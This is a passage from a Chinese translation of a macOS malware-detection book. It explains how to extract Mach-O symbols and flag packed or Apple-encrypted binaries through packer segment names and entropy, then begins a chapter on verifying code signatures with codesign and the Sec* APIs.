由于此功能相对复杂,我们将详细讲解它。首先,它通过 findLoadCommand 辅助函数 ❶ 查找 LC_SYMTAB 加载命令。然后,它使用加载命令中的 symtab _command 结构体中的字段,计算符号表 ❷ 和字符串表 ❸ 的内存地址。在初始化指向符号表开始处的第一个 nlist_64 结构体的指针 ❹ 后,代码对其以及所有后续的 nlist_64 结构体进行迭代 ❺。对于这些结构体中的每一个,它将索引添加到字符串表中,以计算符号的字符串表示地址 ❻。如果符号不为 NULL,代码将其添加到数组中,并返回给调用者。

让我们编译并运行这段代码,以检测 DazzleSpy。正如我们所看到的,代码能够提取恶意软件的方法名称以及它调用的 API 导入:

% **./parseBinary DazzleSpy/softwareupdate**
...
Symbols (count: 3101): (

"-[ShellClassObject startPty]",
"-[ShellClassObject startTask]",

"-[MethodClass getDiskSize]",
"-[MethodClass getDiskFreeSize]",
"-[MethodClass getDiskSystemSize]",
"-[MethodClass getAllhardwareports]",
"-[MethodClass getIPAddress]",

"-[MouseClassObject PostMouseEvent::::]",
"-[MouseClassObject postScrollEvent:]",

"-[KeychainClassObject getPass:cmdTo:]",
"-[KeychainClassObject getPasswordFromSecKeychainItemRef:]",

"_bind",
"_connect",
...
"_AVMediaTypeVideo",
"_AVCaptureSessionRuntimeErrorNotification",
) 

提取任何 Mach-O 二进制文件的符号的能力,将提高我们的启发式恶意软件检测。接下来,我们将程序化地检测那些通常表示二进制文件存在恶意活动的异常特征。

注意

更新版的二进制文件可能包含 LC_DYLD_CHAINED_FIXUPS 加载命令,优化了如何在最新版本的 macOS 上处理符号和导入。在这种情况下,需要采用不同的方法来提取嵌入的符号。有关更多细节和此类提取的编程实现,请参阅 extractChainedSymbols 函数,位于 parseBinary 项目中。

检测打包二进制文件

一个 可执行压缩器 是一种将二进制代码压缩以减小分发大小的工具。压缩器会在二进制文件的入口点插入一个小的解包器存根,当打包程序运行时,这个存根会自动执行,将原始代码恢复到内存中。

恶意软件作者非常喜欢使用压缩器,因为压缩后的代码更难以分析。此外,某些压缩器会加密或进一步混淆二进制文件,以试图阻止基于签名的检测并复杂化分析。合法的软件在 macOS 上很少被打包,因此,检测混淆的能力可以成为一个强有力的启发式方法,用于标记那些需要更仔细检查的二进制文件。

我将通过展示如何通过检查缺少依赖和符号、异常的节和段名称以及高熵,来检测打包和加密的 Mach-O 二进制文件,来结束本章。

依赖和符号

检测压缩器的一个简单方法,尽管有些天真,就是枚举二进制文件的依赖和符号——或者说,缺少这些内容。未打包的二进制文件通常会依赖于各种系统框架和库,如 libSystem.B.dylib,以及这些依赖的导入。另一方面,打包的二进制文件可能缺少任何依赖或符号,因为解包器存根会动态解析并加载任何所需的库。

一个没有依赖或符号的二进制文件,至少可以认为是异常的,我们的工具应该标记它以供分析。例如,运行依赖和符号提取代码对 oRAT 恶意软件进行分析时,发现没有任何依赖或符号:

% **./parseBinary oRat/darwinx64**
...
Dependencies: (count: 0): ()
Symbols: (count: 0): () 

Apple 的 otool 和 nm 也证实了这种缺失:

% **otool -L oRat/darwinx64**
oRat/darwinx64:

% **nm oRat/darwinx64**
oRat/darwinx64: no symbols 

事实证明,oRAT 是通过 UPX 压缩的,UPX 是 Mac 恶意软件作者青睐的跨平台压缩器。其他使用 UPX 压缩的 macOS 恶意软件示例包括 IPStorm、ZuRu 和 Coldroot。

节和段名称

使用 UPX 压缩的二进制文件可能包含 UPX 特有的节或段名称,如 __XHDR、UPX_DATA 或 upxTEXT。如果我们在解析 Mach-O 二进制文件的段时发现这些名称,我们可以推断该二进制文件已经被打包。其他压缩器,如 MPress,会添加自己的段名称,如 MPRESS

以下代码片段来自 UPX 的 p_mach.cpp 文件,^(8) 展示了对非标准段名称的引用:

if (!strcmp("__XHDR", segptr->segname)) {
    // PackHeader precedes __LINKEDIT
    style = 391;  // UPX 3.91
}
if (!strcmp("__TEXT", segptr->segname)) {
    ptrTEXT = segptr;
    style = 391;  // UPX 3.91
}
if (!strcmp("UPX_DATA", segptr->segname)) {
    // PackHeader follows loader at __LINKEDIT
    style = 392;  // UPX 3.92
} 

为了获取二进制文件的节(section)和段(segment)名称,我们可以遍历其加载命令,查找类型为 LC_SEGMENT_64 的命令。这些加载命令由 segment_command_64 结构组成,结构中包含一个名为 segname 的成员,表示段的名称。以下是 segment_command_64 结构:

struct segment_command_64 {/* for 64-bit architectures */
    uint32_t        cmd;            /* LC_SEGMENT_64 */
    uint32_t        cmdsize;        /* includes sizeof section_64 structs */
    char            segname[16];    /* segment name */
    ...
    uint32_t        nsects;         /* number of sections in segment */
    uint32_t        flags;          /* flags */
}; 

段中的任何 section 应该紧随 segment_command_64 结构之后,该结构的 nsects 成员指定了 section 的数量。下面展示的 section_64 结构描述了这些 section:

struct section_64 {/* for 64-bit architectures */
    char            sectname[16];   /* name of this section */
    char            segname[16];    /* segment this section goes in */
    ...
}; 

由于段名称可以从 segment_command_64 结构中提取出来,因此我们这里只关心 section 名称 sectname。为了检测像 UPX 这样的打包器,我们的代码可以遍历每个段及其各个 section,比较这些名称是否与常见打包器的名称相匹配。然而,首先我们需要一个接受 Mach-O 头部的函数,然后提取二进制文件的段和 section。部分展示的 extractSegmentsAndSections 函数在 Listing 2-15 中正是执行这个操作。

NSMutableArray* extractSegmentsAndSections(struct mach_header_64* header) {

    NSMutableArray* names = [NSMutableArray array];
    NSCharacterSet* nullCharacterSet = [NSCharacterSet
    characterSetWithCharactersInString:@"\0"];

    NSMutableArray* commands = findLoadCommand(header, LC_SEGMENT_64);
    for(NSValue* command in commands) {
        // Add code here to iterate over each segment and its sections.
    }
 return names;
} 

Listing 2-15: 检索 LC_SEGMENT_64 加载命令的列表

这段代码声明了一些变量,然后调用了现在熟悉的 findLoadCommand 助手函数,并传入 LC_SEGMENT_64 的值。现在我们拥有了描述二进制文件中每个段的加载命令列表,可以遍历每个段,保存它们的名称及其所有 section 的名称(见 Listing 2-16)。

NSMutableArray* extractSegmentsAndSections(struct mach_header_64* header) {
    NSMutableArray* names = [NSMutableArray array];
    ...

    for(NSValue* command in commands) {
        struct segment_command_64* segment = command.pointerValue; ❶

        NSString* name = [[NSString alloc] initWithBytes:segment->segname
        length:sizeof(segment->segname) encoding:NSASCIIStringEncoding]; ❷

        name = [name stringByTrimmingCharactersInSet:nullCharacterSet];
        [names addObject:name];

        struct section_64* section = (struct section_64*)((unsigned char*)segment +
        sizeof(struct segment_command_64)); ❸

        for(uint32_t i = 0; i < segment->nsects; i++) { ❹
            name = [[NSString alloc] initWithBytes:section->sectname
            length:sizeof(section->sectname) encoding:NSASCIIStringEncoding]; ❺

            name = [name stringByTrimmingCharactersInSet:nullCharacterSet];
            [names addObject:name];

            section++;
        }
    }
    return names;
} 

Listing 2-16: 遍历每个段及其 section 以提取其名称

提取指向每个 LC_SEGMENT_64 的指针并将其保存到 struct segment_command_64* ❶中后,代码从 segment_command_64 结构的 segname 成员提取段的名称,存储在一个相当笨重(且不一定是以 NULL 结尾的)char 数组中。代码将其转换为字符串对象,修剪掉任何 NULL 字符,然后将其保存到一个数组中,返回给调用者❷。

接下来,我们遍历在 LC_SEGMENT_64 命令中找到的 section_64 结构。每个段中都有一个结构。由于它们紧接在 segment_command_64 结构之后,因此我们初始化一个指向第一个 section_64 结构的指针,将 segment_command_64 结构的起始位置加上该结构的大小❸。现在我们可以遍历每个 section 结构,其边界由 segment 结构的 nsects 成员定义❹。与每个段名称一样,我们提取、转换、修剪并保存 section 名称❺。

一旦我们提取了所有段和 section 名称,我们将这个列表传递给一个简单的助手函数 isPacked。该函数在 Listing 2-17 中展示,它检查是否有任何名称与知名打包器(如 UPX 和 MPress)匹配。

NSMutableSet* isPacked(NSMutableArray* segsAndSects) {
    NSSet* packers = [NSSet setWithObjects:@"__XHDR", @"upxTEXT", @"__MPRESS__", nil]; ❶

    NSMutableSet* packedNames = [NSMutableSet setWithArray:segsAndSects]; ❷
    [packedNames intersectSet:packers]; ❸

    return packedNames;
} 

Listing 2-17: 检查段和 section 名称是否与已知打包器匹配

首先,我们初始化一个集合,其中包含一些知名的与打包器相关的段和 section 名称❶。然后,我们将段和 section 的列表转换为一个可变集合❷,因为可变集合对象支持 intersectSet:方法,该方法会删除第一个集合中不在第二个集合中的任何项。一旦我们调用此方法❸,集合中剩下的唯一名称将与打包器相关的名称匹配。

在将这段代码添加到parseBinary项目后,我们可以将其应用于 macOS 版本的 IPStorm 恶意软件进行测试:

% **./parseBinary IPStorm/IPStorm**
binary is Mach-O
...
segments and sections: (
    "__PAGEZERO",
    "__TEXT",
    "upxTEXT",
    "__LINKEDIT"
)

binary appears to be packed
packer-related section or segment {(upxTEXT)} detected 

因为 IPStorm 的二进制文件包含一个名为 upxTEXT 的部分,表明它是使用 UPX 压缩的,我们的代码能够正确判断该二进制文件被打包。

这种基于名称的打包检测方法具有较低的误报率。然而,它无法检测自定义打包程序或已修改的已知打包程序。例如,如果攻击者修改了 UPX 以去除自定义的段名称(因为 UPX 是开源的,这很容易做到),我们就会遇到漏报情况,打包后的二进制文件无法被检测到。

我们在恶意软件 Ocean-Lotus 中发现了这种行为的例子。在H版本中,其作者使用了定制版本的 UPX 对二进制文件flashlightd进行了打包。我们的当前打包程序检测器未能判断该恶意软件是否被打包:

% **./parseBinary OceanLotus.H/flashlightd**
binary is Mach-O
...
segments and sections: (
    "__PAGEZERO",
    "__TEXT",
    "__cfstring",
    "__LINKEDIT"
)

binary does not appear to be packed
no packer-related sections or segments detected 

然而,如果我们手动检查恶意软件,就很明显可以看出该二进制文件被打包。在反汇编器中,二进制文件的大块部分看起来是模糊的。我们还可以看到该二进制文件不包含符号或依赖项:

% **./parseBinary OceanLotus.H/flashlightd**
binary is Mach-O
...
Dependencies: (count: 0): ()
Symbols: (count: 0): () 

显然,我们的打包程序检测方法需要一些改进。接下来,你将看到如何通过熵值检测打包的二进制文件。

熵值计算

当二进制文件被打包时,它的随机性会大幅增加。这主要是因为打包程序会压缩或加密二进制文件的原始指令。如果我们能够计算一个二进制文件中唯一字节的数量,并将其归类为异常高,我们可以相当准确地推断该二进制文件是被打包的。

让我们解析一个 Mach-O 二进制文件并计算其可执行段的熵值。Listing 2-18 中的代码基于 isPackedByEntropy 函数中的段解析代码。在枚举所有 LC_SEGMENT_64 加载命令后,函数会调用一个名为 calcEntropy 的辅助函数来计算每个段数据的熵值。

float calcEntropy(unsigned char* data, NSUInteger length) {
    float pX = 0.0f;
    float entropy = 0.0f;
    unsigned int occurrences[256] = {0};

    for(NSUInteger i = 0; i < length; i++) {
      ❶ occurrences[0xFF & (int)data[i]]++;
    }

    for(NSUInteger i = 0; i < sizeof(occurrences)/sizeof(occurrences[0]); i++) {
 ❷ if(0 == occurrences[i]) {
            continue;
        }

      ❸ pX = occurrences[i]/(float)length;
        entropy -= pX*log2(pX);
    }
    return entropy;
} 

Listing 2-18:计算香农熵

该函数首先计算每个字节值的出现次数,从 0 到 0xFF ❶。跳过不出现的值 ❷ 后,它使用标准公式 ❸ 来计算香农熵。^(9) 该函数应返回一个介于 0.0 到 8.0 之间的值,范围从没有熵(即所有值都相同)到最高熵值。^(10)

该代码使用熵值来判断二进制文件是否可能被打包(Listing 2-19)。它的灵感来源于流行的以 Windows 为中心的 AnalyzePE 和 pefile Python 库。^(11)

BOOL isPackedByEntropy(struct mach_header_64* header, NSUInteger size) {
    ...
    BOOL isPacked = NO;
    float compressedData = 0.0f;

    NSMutableArray* commands = findLoadCommand(header, LC_SEGMENT_64);
    for(NSValue* command in commands) {
        ...
        struct segment_command_64* segment = command.pointerValue;

        float segmentEntropy = calcEntropy(((unsigned char*)header +
        segment->fileoff), segment->filesize);

      ❶ if(segmentEntropy > 7.0f) {
            compressedData += segment->filesize;
        }
    }

  ❷ if((compressedData/size) > .2) {
        isPacked = YES;
    }
    ...
    return isPacked;
} 

Listing 2-19:通过熵分析检测打包程序

测试表明,如果一个中等大小段的熵值超过 7.0,我们可以自信地得出结论,该段包含压缩数据,意味着它被打包或加密。在这种情况下,我们将该段的大小追加到一个变量中,以跟踪压缩数据的总量 ❶。

一旦我们计算了每个段的熵值,我们就会通过将压缩数据的量除以 Mach-O 的大小,来检查二进制文件的总数据中有多少是被打包的。研究表明,Mach-O 二进制文件中压缩数据与整体长度的比例大于 20%的通常是被打包的(尽管比例通常更高)❷。

让我们针对打包的 IPStorm 样本测试这段代码:

% **./parseBinary IPStorm/IPStorm**
binary is Mach-O
...
segment (size: 0) __PAGEZERO's entropy: 0.000000
segment (size: 8216576) __TEXT's entropy: 7.884009
segment (size: 16) __LINKEDIT's entropy: 0.000000

total compressed data: 8216576.000000
total compressed data vs. size: 0.999998

binary appears to be packed
significant amount of high-entropy data detected 

太好了!代码正确地检测到恶意软件是被打包的。这是因为 __TEXT 段具有非常高的熵(7.884 满分 8),并且它是唯一包含任何数据的段,因此压缩数据与整体二进制文件长度的比例非常高。同样重要的是,代码正确地判断出恶意软件的未打包版本确实已经不再被打包:

% **./parseBinary IPStorm/IPStorm_unpacked**
binary is Mach-O
...
segment (size: 0) __PAGEZERO's entropy: 0.000000
segment (size: 17190912) __TEXT's entropy: 6.185554
segment (size: 1265664) __DATA's entropy: 5.337738
segment (size: 1716348) __LINKEDIT's entropy: 5.618924

total compressed data: 0.000000
total compressed data vs. size: 0.000000

binary does *not* appear to be packed
no significant amount of high-entropy data detected 

在这个未打包的二进制文件中,工具检测到更多的段,但所有段的熵值大约在 6 或以下。因此,它没有将任何段分类为包含压缩数据,所以压缩数据与二进制文件大小的比例为零。

如你所见,这种基于熵的方法可以通用地检测几乎所有被打包的二进制文件,无论使用了哪种打包工具。即使在 OceanLotus 的情况下也是如此,其作者使用了一个定制版本的 UPX 试图避免检测:

% **./parseBinary OceanLotus.H/flashlightd**
...
segment (size: 0) __PAGEZERO's entropy: 0.000000
segment (size: 45056) __TEXT's entropy: 7.527715
segment (size: 2888) __LINKEDIT's entropy: 6.201859

total compressed data: 45056.000000
total compressed data vs. size: 0.939763

binary appears to be packed
significant amount of high-entropy data detected 

尽管打包后的恶意软件不包含任何与已知打包工具匹配的段或部分,但较大的 __TEXT 段包含非常高的熵(7.5+)。因此,代码正确地判断出 OceanLotus 样本是被打包的。

检测加密的二进制文件

虽然 Apple 加密了各种系统二进制文件的 Intel 版本,但加密的第三方二进制文件很少是合法的,你应该标记这些文件以便进一步分析。二进制加密器在二进制级别加密原始恶意软件代码。为了在运行时自动解密恶意软件,加密器通常会在二进制文件的开头插入解密存根和密钥信息,除非操作系统原生支持加密二进制文件,而 macOS 是支持的。

与打包的二进制文件一样,我们可以通过熵计算来检测加密的二进制文件,因为任何经过良好加密的文件都会具有非常高的随机性。因此,上一节提供的代码应该能够识别它们。然而,你可能觉得编写专门检测使用本地 macOS 加密方案加密的二进制文件的代码是值得的。加密方案未公开,并且是专有的,因此任何使用该加密方案的第三方二进制文件都应该被视为可疑。

我们可以在开源的 macOS Mach-O 加载器中看到如何检测此类二进制文件^(12)。在加载器的代码中,我们发现提到了一个名为 SG_PROTECTED_VERSION_1 的 LC_SEGMENT_64 标志,其值为 0x8。正如 Apple 的mach-o/loader.h文件中所解释的,这意味着该段是使用 Apple 的专有加密方案加密的:

#define SG_PROTECTED_VERSION_1  0x8 /* This segment is protected.  If the
                                       segment starts at file offset 0, the
                                       first page of the segment is not
                                       protected.  All other pages of the
                                       segment are protected. */ 

通常,恶意软件只会加密 __TEXT 段,它包含二进制文件的可执行代码。

尽管发现恶意软件利用这种专有加密方案的情况较为罕见,但我们在 HackingTeam 植入式安装程序中发现了一个例子。使用 otool,我们来转储这个二进制文件的加载命令。果然,__TEXT 段的 flags 被设置为 SG_PROTECTED_VERSION_1(0x8):

% **otool -l HackingTeam/installer**
...
Load command 1
      cmd LC_SEGMENT
 cmdsize 328
  segname __TEXT
   vmaddr 0x00001000
   vmsize 0x00004000
  fileoff 0
 filesize 16384
  maxprot 0x00000007
 initprot 0x00000005
   nsects 4
    **flags 0x8** 

要检测一个二进制文件是否使用这种本地加密方案加密,我们只需遍历它的 LC_SEGMENT_64 加载命令,寻找那些在 segment_command_64 结构的 flags 成员中设置了 SG_PROTECTED_VERSION_1 位的命令(Listing 2-20)。

if(SG_PROTECTED_VERSION_1 == (segment->flags & SG_PROTECTED_VERSION_1)) {
    // Segment is encrypted.
    // Add code here to report this or to perform further processing.
} 

Listing 2-20:检查一个段是否使用本地 macOS 加密方案进行加密

本章重点讨论了 64 位 Mach-O 文件,但 HackingTeam 安装程序几乎已有 10 年历史,并且是以 32 位 Intel 二进制文件的形式发布的,这与最新版本的 macOS 不兼容。为了编写能够检测 HackingTeam 32 位安装程序的代码,我们需要确保它使用 32 位版本的 Mach-O 结构,如 mach_header 和 LC_SEGMENT。^(13) 如果我们做出这些修改并对安装程序运行代码,它会正确标记该二进制文件为利用苹果专有加密方案:

% **./parseBinary HackingTeam/installer**
...
segment __TEXT's flags: 'SG_PROTECTED_VERSION_1'

binary is encrypted 

我们注意到,虽然 macOS 确实支持加密的二进制文件,但由于这未被文档化,任何以这种方式加密的第三方二进制文件都应当被仔细检查,因为它可能是带有隐藏内容的恶意软件。^(14)

结论

在本章中,你学会了如何确认一个文件是否为 Mach-O 文件或包含 Mach-O 的通用二进制文件。接着,你提取了依赖关系和名称,并检测了该二进制文件是否被打包或加密。

当然,你还可以对 Mach-O 二进制文件做许多其他有趣的事情,以将其分类为良性或恶意。参考 Kimo Bumanglag 的《Objective by the Sea》演讲,获取更多灵感。^(15)

最后的思考:我注意到,本章中讨论的任何单一数据点都无法明确表示一个二进制文件是恶意的。例如,合法的开发者也可以打包他们的二进制文件。幸运的是,我们还有另一个强大的机制可以用来检测恶意软件:代码签名。第三章专门讨论了这个主题。继续阅读吧!

备注

  1. 1.  UniqMartin,在“FatArch64”评论中,Homebrew,2018 年 7 月 7 日,https://github.com/Homebrew/ruby-macho/issues/101#issuecomment-403202114

  2. 2.  “magic”,Apple 开发者文档,https://developer.apple.com/documentation/kernel/fat_header/1558632-magic

  3. 3.  请参阅utils.cpp,链接: https://github.com/apple-oss-distributions/dyld/blob/d1a0f6869ece370913a3f749617e457f3b4cd7c4/libdyld/utils.cpp

  4. 4.  帕特里克·沃德尔(Patrick Wardle),“苹果公司因切割苹果而得‘F’分”,Objective-See,2024 年 2 月 22 日,https://objective-see.org/blog/blog_0x80.html

  5. 5.  关于通用二进制文件的更多内容,请参阅霍华德·奥克利(Howard Oakley),“通用二进制文件:深入分析 Fat Headers”,The Eclectic Light Company,2020 年 7 月 28 日,https://eclecticlight.co/2020/07/28/universal-binaries-inside-fat-headers/

  6. 6.  帕特里克·沃德尔(Patrick Wardle),“被火狐(Firefox)烧伤”,Objective-See,2019 年 6 月 23 日,https://objective-see.org/blog/blog_0x45.html

  7. 7.  有关 ZuRu 的更多详细信息,请参阅帕特里克·沃德尔(Patrick Wardle),“中国制造:OSX.ZuRu”,Objective-See,2021 年 9 月 14 日,https://objective-see.org/blog/blog_0x66.html

  8. 8.  请参阅https://upx.github.io

  9. 9.  “熵(信息论)”,维基百科,https://en.wikipedia.org/wiki/Entropy_(information_theory)

  10. 10.  要深入理解熵的概念,请参阅 Aerin 女士,“香农熵背后的直觉”,Towards Data Science,2018 年 9 月 30 日,https://towardsdatascience.com/the-intuition-behind-shannons-entropy-e74820fe9800

  11. 11.  请参阅https://github.com/hiddenillusion/AnalyzePE/blob/master/peutils.pyhttps://github.com/erocarrera/pefile/blob/master/pefile.py

  12. 12.  请参阅https://opensource.apple.com/source/xnu/xnu-7195.81.3/EXTERNAL_HEADERS/mach-o/loader.h

  13. 13.  有关 HackingTeam 加密安装程序的更多详情,请参见 Patrick Wardle 的“HackingTeam 重生;RCS 植入安装程序简要分析”,Objective-See,2016 年 2 月 26 日,详见https://objective-see.org/blog/blog_0x0D.html

  14. 14.  你可以在 Patrick Wardle 的《Mac 恶意软件的艺术:分析恶意软件指南》第一卷(旧金山:No Starch Press,2022 年),第 187–218 页,或在 Amit Singh 的“‘TPM DRM’在 Mac OS X 中:一个不会消失的神话”中,了解更多关于 macOS 对加密二进制文件的支持以及如何解密它们,详见https://web.archive.org/web/20200603015401/http://osxbook.com/book/bonus/chapter7/tpmdrmmyth/

  15. 15.  Kimo Bumanglag 在 2022 年 10 月 6 日于西班牙举办的 Objective by the Sea v5 大会上发表了题为“学习如何进行机器学习”的论文,详见https://objectivebythesea.org/v5/talks/OBTS_v5_kBumanglag.pdf。要了解更多关于 Mach-O 格式的信息,请参考 Wardle 的《Mac 恶意软件的艺术》第一卷,第 99–123 页;Bartosz Olszanowski 的“Mach-O Reader - 解析 Mach-O 头部”(Olszanowski Blog,2020 年 5 月 8 日),详见https://olszanowski.blog/posts/macho-reader-parsing-headers/;以及 Alex Denisov 的“解析 Mach-O 文件”(Low Level Bits,2015 年 8 月 20 日),详见https://lowlevelbits.org/parsing-mach-o-files/

第三章:3 代码签名

在本章中,我们将编写代码,提取恶意软件常常滥用的分发文件格式(如磁盘镜像和软件包)中的代码签名信息。然后我们将把注意力转向磁盘上 Mach-O 二进制文件和正在运行的进程的代码签名信息。对于每一种情况,我将向你展示如何以编程方式验证代码签名信息,并检测任何撤销。

本书中覆盖的基于行为的启发式方法是检测恶意软件的强大工具。但这种方法也有一个缺点:误报,即当代码错误地将某个内容标记为可疑时发生的情况。

减少误报的一种方法是检查项目的代码签名信息。苹果对加密代码签名的支持无与伦比,作为恶意软件检测者,我们可以以多种方式利用这一点,最显著的是确认项目来自已知的、可信的来源,并且这些项目未被篡改。

另一方面,我们应该密切审查任何未签名或未经过公证的项目。例如,恶意软件通常完全未签名,或者是以临时的方式签署,即使用自签名或不受信任的证书。虽然威胁行为者偶尔会使用欺诈获得或盗用的开发者证书签署其恶意软件,但苹果通常不会对恶意软件进行公证。此外,当苹果犯错时,通常会迅速撤销签名证书或公证票证。

本章中展示的大部分代码片段都可以在checkSignature项目中找到,该项目可以在本书的 GitHub 仓库中获取。

代码签名在恶意软件检测中的重要性

作为代码签名在恶意软件检测中的有用性示例,假设你开发了一个启发式方法,用于监控文件系统中的持久性项目(这是检测恶意软件的合理方法,因为绝大多数 Mac 恶意软件会在受感染的主机上保持持久性)。假设你的启发式方法在com.microsoft.update.agent.plist属性列表作为启动代理保存时触发。这个属性列表引用了一个名为MicrosoftAutoUpdate.app的应用程序,操作系统将在每次用户登录时自动启动它。

如果你的检测能力没有考虑到持久化项目的代码签名信息,你可能会对一个实际上完全无害的持久化事件发出警报。因此,问题变成了:这真的是一个微软更新程序,还是恶意软件伪装成它?通过检查应用程序的代码签名,你应该能够明确回答这个问题;如果微软确实签署了该项目,你可以忽略持久化事件,但如果没有签署,那么这个项目就需要更仔细地检查。

不幸的是,现有的恶意软件检测产品可能未能充分考虑代码签名信息。例如,考虑一下苹果的恶意软件移除工具(MRT),这是某些版本 macOS 中内建的恶意软件检测工具。这个平台二进制文件自然是由苹果签名的。然而,许多杀毒引擎曾在某些时刻将 MRT 二进制文件com.apple.XProtectFramework.plugins.MRTv3标记为恶意软件,因为它们的杀毒签名天真地匹配了 MRT 自身嵌入的病毒签名(图 3-1)。

图 3-1:苹果的恶意软件移除工具被标记为恶意软件

这确实是一个相当好笑的误报。开个玩笑,错误地将合法项目归类为恶意软件的产品可能会触发用户警报,引发恐慌,或者更糟糕的是,可能通过将项目隔离而破坏其正常功能。幸运的是,第三方安全产品无法删除像 MRT 这样的系统组件,但苹果曾因操作失误,阻止了自己的一些组件,从而中断了系统的操作。^(1) 在这两种情况下,检测逻辑本来可以简单地检查项目的代码签名信息,确认它是否来自可信来源。

代码签名信息不仅仅能减少误报。例如,安全工具应该允许受信任或用户批准的项目执行那些可能会触发警报的操作。考虑一个简单的防火墙,每当一个不受信任的项目尝试访问网络时,它会生成一个通知。为了区分受信任和不受信任的项目,防火墙可以检查项目的代码签名信息。基于代码签名信息创建防火墙规则有以下几个好处:

  • 如果恶意软件试图通过修改一个合法项目来绕过防火墙,代码签名检查将能检测到这种篡改行为。

  • 如果一个已批准的项目移动到文件系统的其他位置,规则依然适用,因为它并未绑定到项目的路径或特定位置。

希望这些简短的示例已经向你展示了检查代码签名信息的价值。为了更全面一些,下面列举一些代码签名信息如何帮助我们以编程方式检测恶意代码的其他方式:

检测公证 近期版本的 macOS 要求所有下载的软件必须签名才能运行。因此,现在大多数恶意软件都有签名,通常使用临时证书或伪造的开发者 ID。然而,恶意软件很少会被公证,因为公证需要将项目提交给 Apple,Apple 会对其进行扫描,并在确认项目不含恶意后发放公证票证。^(2) 如果 Apple 不小心公证了恶意软件,它通常会迅速发现这一失误并撤销公证。^(3) 这些失误非常罕见,因此被公证的项目大多数是无害的。通过代码签名,您可以快速判断项目是否已公证,这为您提供了 Apple 不认为其为恶意软件的可靠指示。

检测撤销 如果 Apple 撤销了项目的代码签名证书或公证票证,意味着他们已确定该项目不应再被分发和运行。虽然撤销有时是由于无害原因,但通常是因为 Apple 认为该项目是恶意的。本章将解释如何以编程方式检测撤销情况。^(4)

将项目与已知对手关联 研究人员将恶意对手所拥有的代码签名信息(如团队标识符)与其他由同一作者创建的恶意软件样本进行关联。

在检测恶意软件时,通常需要关注以下项目的代码签名信息:

  • 信息、签名证书和公证票证的总体状态。该项目是否完全签名并已公证,签名证书和公证票证是否仍然有效?

  • 描述签名链的代码签名授权机构,因为它们可以提供有关签名项目来源和可信度的洞见。

  • 项目的可选团队标识符,指定了创建已签名项目的团队或公司。如果该团队标识符属于一家信誉良好的公司,通常可以信任该签名项目。

本章不会讨论代码签名的内部细节,而是专注于更高层次的概念,以及用于提取代码签名信息的 API。^(5)

然而,请记住,并非 macOS 上的所有内容都已签名,也不是所有的签名方式都相同。最显著的是,开发者无法签名独立脚本(这是 Apple 急于弃用它们的原因之一)。此外,macOS 内核本身并没有签名。相反,启动过程使用加密哈希来验证内核保持完整。

虽然开发者可以并且应该对分发介质(如磁盘映像、软件包、zip 压缩文件)以及应用程序和独立二进制文件进行签名,但提取代码签名信息的工具和 API 通常特定于文件类型。例如,苹果的 codesign 工具和代码签名服务 API 适用于磁盘映像、应用程序和二进制文件,但不适用于软件包,您可以使用 pkgutil 工具或私有的 PackageKit API 来检查软件包信息。

让我们考虑如何手动和程序化地提取和验证代码签名信息,从分发介质开始。

磁盘映像

合法的开发者和恶意软件作者经常以磁盘映像的形式分发他们的代码,这些磁盘映像通常具有 .dmg 扩展名。大多数包含恶意软件的磁盘映像没有签名,如果您遇到未签名的 .dmg 文件,至少应该检查其包含的项目是否已签名并经过公证。然而,代码签名信息的存在并不意味着磁盘映像是良性的;没有任何东西能阻止恶意软件作者利用加密签名。当您遇到已签名的磁盘映像时,请使用其代码签名信息来识别创建者。

手动验证签名

您可以使用 macOS 内置的 codesign 工具手动验证磁盘映像的签名。使用 --verify 命令行选项(或简写为 -v)和 .dmg 文件的路径来执行它。

在以下示例中,codesign 识别出包含 LuLu 的有效签名磁盘映像,LuLu 是来自 Objective-See 的合法软件。当它遇到有效签名的映像时,工具默认不会输出任何内容;因此,我们使用 -dvv 选项来显示详细输出:

% **codesign –-verify LuLu_2.6.0.dmg**

% **codesign --verify -dvv LuLu_2.6.0.dmg**
Executable=/Users/Patrick/Downloads/LuLu_2.6.0.dmg
Identifier=LuLu
Format=disk image
...
Authority=Developer ID Application: Objective-See, LLC (VBG97UB4TA)
Authority=Developer ID Certification Authority
Authority=Apple Root CA 

详细输出显示磁盘映像的信息,如其路径、标识符、格式以及代码签名状态,包括证书颁发机构链。从证书颁发机构链中,您可以看到该软件包已经使用属于 Objective-See 的 Apple Developer ID 进行了签名。

如果磁盘映像未签名,工具将显示“代码对象未签名”消息。许多软件项目,包括大多数通过磁盘映像分发的恶意软件,都属于这一类别;作者可能已签名了软件或恶意软件,但未签名其分发介质。例如,看看 EvilQuest 恶意软件。它通过磁盘映像分发,包含了带有木马的应用程序包:

% **codesign --verify "EvilQuest/Mixed In Key 8.dmg"**
EvilQuest/Mixed In Key 8.dmg: code object is not signed at all 

最后,如果苹果撤销了磁盘映像的签名,codesign 将显示 CSSMERR_TP_CERT_REVOKED。您可以在分发 CreativeUpdate 恶意软件的磁盘映像中看到这个例子:

% **codesign --verify "CreativeUpdate/Firefox 58.0.2.dmg"**
CreativeUpdate/Firefox 58.0.2.dmg: CSSMERR_TP_CERT_REVOKED 

恶意软件的签名不再有效。

提取代码签名信息

让我们通过编程方式使用苹果的代码签名服务 (Sec*) API 提取并验证磁盘映像的代码签名信息。^(6) 在本章的 checkSignature 项目中,你会找到一个名为 checkItem 的函数,它接受要验证的项目路径(例如磁盘映像),并返回一个包含验证结果的字典。对于有效签名的项目,它还会返回签名机构等信息(如果有的话)。

为了简洁起见,我在本书中的大部分代码片段中省略了基本的健全性和错误检查。然而,涉及到代码签名时,它提供了一种方式来做出关于项目可信度的关键决策,这时必须确保代码能够适当处理错误。如果没有强健的错误处理机制,代码可能会不小心信任一个伪装成无害项的恶意项目!因此,在本章中,代码片段没有省略这些重要的错误检查。

提取任何项目的代码签名信息的第一步是获取所谓的 代码对象 引用,随后你可以将其传递给所有后续的代码签名 API 调用。对于磁盘上的项目,比如磁盘映像,你将获得一个类型为 SecStaticCodeRef 的静态代码对象。^(7) 对于正在运行的进程,你将获得一个类型为 SecCodeRef 的动态代码对象。^(8)

要从磁盘映像中获取静态代码引用,请调用 SecStaticCodeCreateWithPath API,传入指定磁盘映像的路径、可选的标志和一个输出指针。函数返回后,输出指针将包含一个 SecStaticCode 对象,用于后续的 API 调用 (Listing 3-1)。^(9) 请注意,使用完毕后,应该使用 CFRelease 来释放这个指针。

NSMutableDictionary* checkImage(NSString* item) {
    SecStaticCodeRef codeRef = NULL;
    NSMutableDictionary* signingInfo = [NSMutableDictionary dictionary];

  ❶ CFURLRef itemURL = (__bridge CFURLRef)([NSURL fileURLWithPath:item]);

